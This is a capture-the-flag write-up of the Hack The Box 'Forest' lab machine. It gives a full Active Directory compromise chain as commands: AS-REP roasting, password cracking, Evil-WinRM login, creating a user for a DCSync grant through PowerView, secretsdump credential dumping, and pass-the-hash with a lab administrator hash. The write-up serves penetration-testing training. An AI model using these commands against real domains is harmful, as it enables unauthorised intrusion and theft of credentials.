---
description: https://www.hackthebox.eu/home/machines/profile/212
---

# Forest

This box is rated as easy which in my opinion is not accurate. This box is rather difficult if you have little experience is pentesting Active Directory. This box should really be at least a medium.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ce943e3820f96669d132b63280a963b120c87555%2Fimage.png?alt=media)

## Nmap

```
kali@kali:~$ sudo nmap 10.10.10.161 -p- -sS -T4 -sV -v 

PORT      STATE SERVICE      VERSION

53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-11-07 16:52:24Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49703/tcp open  msrpc        Microsoft Windows RPC
49940/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
```

### OS Dsicovery

Since we have SMB open lets check with the `nmap` OS discovery script.

```
nmap 10.10.10.161 --script smb-os-discovery
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-2faa61faf1a0330e55c98f5af9454a0be5d17fa6%2Fimage.png?alt=media)

From this we are able to obtain the machine domain and host name information. This is important as looking at the initial `nmap` results we are almost certainly dealing with a domain controller.

## RPC Client

Since we have msrpc open on TCP 135 lets see if we can connect with `rpcclient` without specifying any credentials.

```
rpcclient -N -U "" forest.htb.local
```

We are able to connect. From here lets start enumerating information starting with domain users.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7e0173104b198c14c18a0caa85114d769ee8d6b2%2Fimage.png?alt=media)

And domain groups

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-0e98caf52e9d9f4d3393351580b5a342e761e4d7%2Fimage.png?alt=media)

I will clean up the enumeration user accounts list to just contain actual users accounts and store them in a text file so we can AS-REP roast them.

```
sebastien
lucinda
svc-alfresco
andy
mark
santi
```

We can use the Impacket python script GetPNUsers.py against our user list to see if we have any accounts with the "Do not use kerberos preauthentication" box in Active Directory unchecked.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-69d3acf0fe7b10af73dbcaca08390c3350132fca%2Fimage.png?alt=media)

```
sudo python /opt/impacket-0.9.19/examples/GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb.local/ -usersfile /home/kali/users.txt
```

After a short while the script returns the results below where we have the account "svc-alfresco" that does not require Kerberos preauthentication enabled and we have pulled a NTLMv2 hash.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c316ec7bc3a0995f46a5225e75e394a7eaec9ae8%2Fimage.png?alt=media)

Store this hash in a file and we can run it against John The Ripper and see if we can crack it.

```aspnet
sudo john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/kerberoshash
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d3752dadbba7cb2e919ddad18685ab1c7433e268%2Fimage.png?alt=media)

We have cracked the password of "s3rvice" using the rockyou.txt wordlist.

I used the obtained credentials with `smbmap` to see what shares we have access to and was only presented with read access to NETLOGON and SYSVOL shares.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-61fa393ac6ed4fa6fb1de6b1bf0a3a29140e2ab7%2Fimage.png?alt=media)

I executed the same command as above this time with the switch `-R` for recursive. We did not pick up anything interesting. I was hoping for exposed GPP credentials in SYSVOL.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5aa0832855d43d6eef75872a23eb8fe40713abbb%2Fimage.png?alt=media)

Going back to the `nmap` results, port 5985 is now relevant to us as we have some credentials that might work. Port 5985 is used for Windows remote management and Powershell remoting.

The best suggested tool for penetration testing on this port is a tool called Evil-WinRM which is a remote management tool based around hacking and pentesting. You can find the GitHub linked below:

{% embed url="https://github.com/Hackplayers/evil-winrm" %}

**Installation:**

```
gem install evil-winrm
```

When attempting to run with no arguments we can see the help menu.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1ac51230b2b0e3e33df269d047c60e922d66d0d3%2Fimage.png?alt=media)

Using the account credentials we obtained earlier we can log in with Evil-WinRM.

```
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-e5e231b75d9bb9cb08e76bafa661abc5824663fa%2Fimage.png?alt=media)

From here we can access the user flag.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-54e38ec149f718120a3ce00ccd3fa553eb0e0be3%2Fimage.png?alt=media)

## Privilege Escalation

Now that we have the user flag we can begin to work on escalating our privileges.

At this point I had a really good look around the machine and could not find anything that stood out for a privilege escalation route. I will instead use `Bloodhound` to help identify a route for escalation.

### Bloodhound

We can use the Sharphound implementation of the Bloodhound ingestor found to pull the information we need.

{% embed url="https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.ps1" %}

Upload the SharpHound.exe file using Evil-WinRM.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-fe30d34a4b0448a95b5234a7c6a08cbba1983919%2Fimage.png?alt=media)

Now we need to execute the binary from Evil-WinRM.

```
cmd.exe /c .\SharpHound.exe
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-06f6ff54a61f4a5a75f13662696723639a340319%2Fimage.png?alt=media)

Once completed we can download the zip file to our attacking machine.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8440b879963541047ce4522877d99a8ce89e8b15%2Fimage.png?alt=media)

This write up will not cover installing and setting up Bloodhound. A simple and to the point guide is available here:

{% embed url="https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/" %}

Once we have the zip file we can drop it into Bloodhound and wait for it to process.

#### Bloodhound Graph

Once the data has been loaded in Bloodhound we can set our starting node as the service account \_svc-alfresco@HTB.local \_and our target node as _Administrator@HTB.local_

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-70ae8099ec5e877feb2ab665c229fff29e717eb2%2Fimage.png?alt=media)

Looking at the graph starting from the \_svc-alfresco \_service account we have the following information.

We are a member of the _Service Accounts_ group which is a member of _Privileged IT Accounts_ which is a member of Account Operators which has write permissions to the group _Exchange Windows Permissions._

To break this down:

The account _svc-alfesco_ has membership rights leading up to the _Account Operators_ group.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-112e79270b9dd1afc7bd8fd0041842c868c65da6%2Fimage.png?alt=media)

The group \_Account Operators \_has the permission "GenericAll" to the group _Exchange Windows Permissions_

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f10c8f6b48a1e21d230100287fc037bc2aa3fb61%2Fimage.png?alt=media)

The _Account Operators_ group in Windows has the ability to create accounts and since according to `Bloodhound` we can write permissions to the _Exchange Windows Permissions_ group we can add our newly created account into this group.

If you right click the line or "edge" between the two groups you can access a help menu which will let us know how to abuse this.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-612121455ddcdc192dd74691af2efcd9b55d4904%2Fimage.png?alt=media)

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-3cb5dbfdeeb2b448aac827dd5e9431d511b2d837%2Fimage.png?alt=media)

I actually had issues with the PowerView command `Add-DomainGroupMember` not running as expected so instead I used `net.exe` to complete this process.

We can start by creating a new user account:

```
net user /add Akimbo Password123
```

We then add the new account to the _Exchange Windows Permissions_ Group.

```aspnet
net group "Exchange Windows Permissions" Akimbo /add /DOMAIN
# Verify the account has been added to the group
net group "Exchange Windows Permissions"
```

To illustrate where we are now in terms of shortest path to Domain Admin or Administrator I have run Bloodhound again showing the new account we have made.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-3b81b8bdf03e8ce5498042d30e57a86de648ccb2%2Fimage.png?alt=media)

If we now look at the edge information between the Exchange Windows Permissions Groups and _HTB.LOCAL_ we see the following under the advised abuse information.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-370e53e4a4eb8d4e7e4d584b4e95bdd220d64e20%2Fimage.png?alt=media)

We need to upload [PowerView ](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1)to the server so we can use the `Add-DomainObjectAcl` command. Upload PowerView using the `upload` command in Evil-WinRM.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-bdc33a3c69c5b10d65efef3c44420df17c5a953a%2Fimage.png?alt=media)

Once uploaded load the PowerView Powershell script and run the following commands:

{% hint style="info" %}
When using Evil-WinRM you can load Powershell scripts by simply by typing the name of the script as a command (Providing you are in the same directory as the script)
{% endhint %}

```aspnet
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\Akimbo', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'htb.local\exchange windows permissions' -principalidentity 'Akimbo' -Rights DCSync
```

Add-DomainObjectAcl does not have any completed return output. If you receive no errors after running then this has likely worked.

Now that we have an account with the DCSync rights we can use Impacket's secretsdump.py script to Sync the Domain Controller remotely and capture the domain hashes. Run the following command to run the script:

```aspnet
impacket-secretsdump htb.local/akimbo:Password123@10.10.10.161
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c2fbad97105675280457509cfee88b31ae0ef2a5%2Fimage.png?alt=media)

We can see from the first result we have the administrators hash. We can use a pass the hash attack with this hash to login to Evil-WinRM as the administrator account.

Evil-WinRM will accept a hash instead of a password using the `-p` switch.

```aspnet
evil-winrm -u administrator -p aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 -i forest.htb.local
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-3f08bb9f7f30298289f5a33b32d26e97b8d8b8ae%2Fimage.png?alt=media)
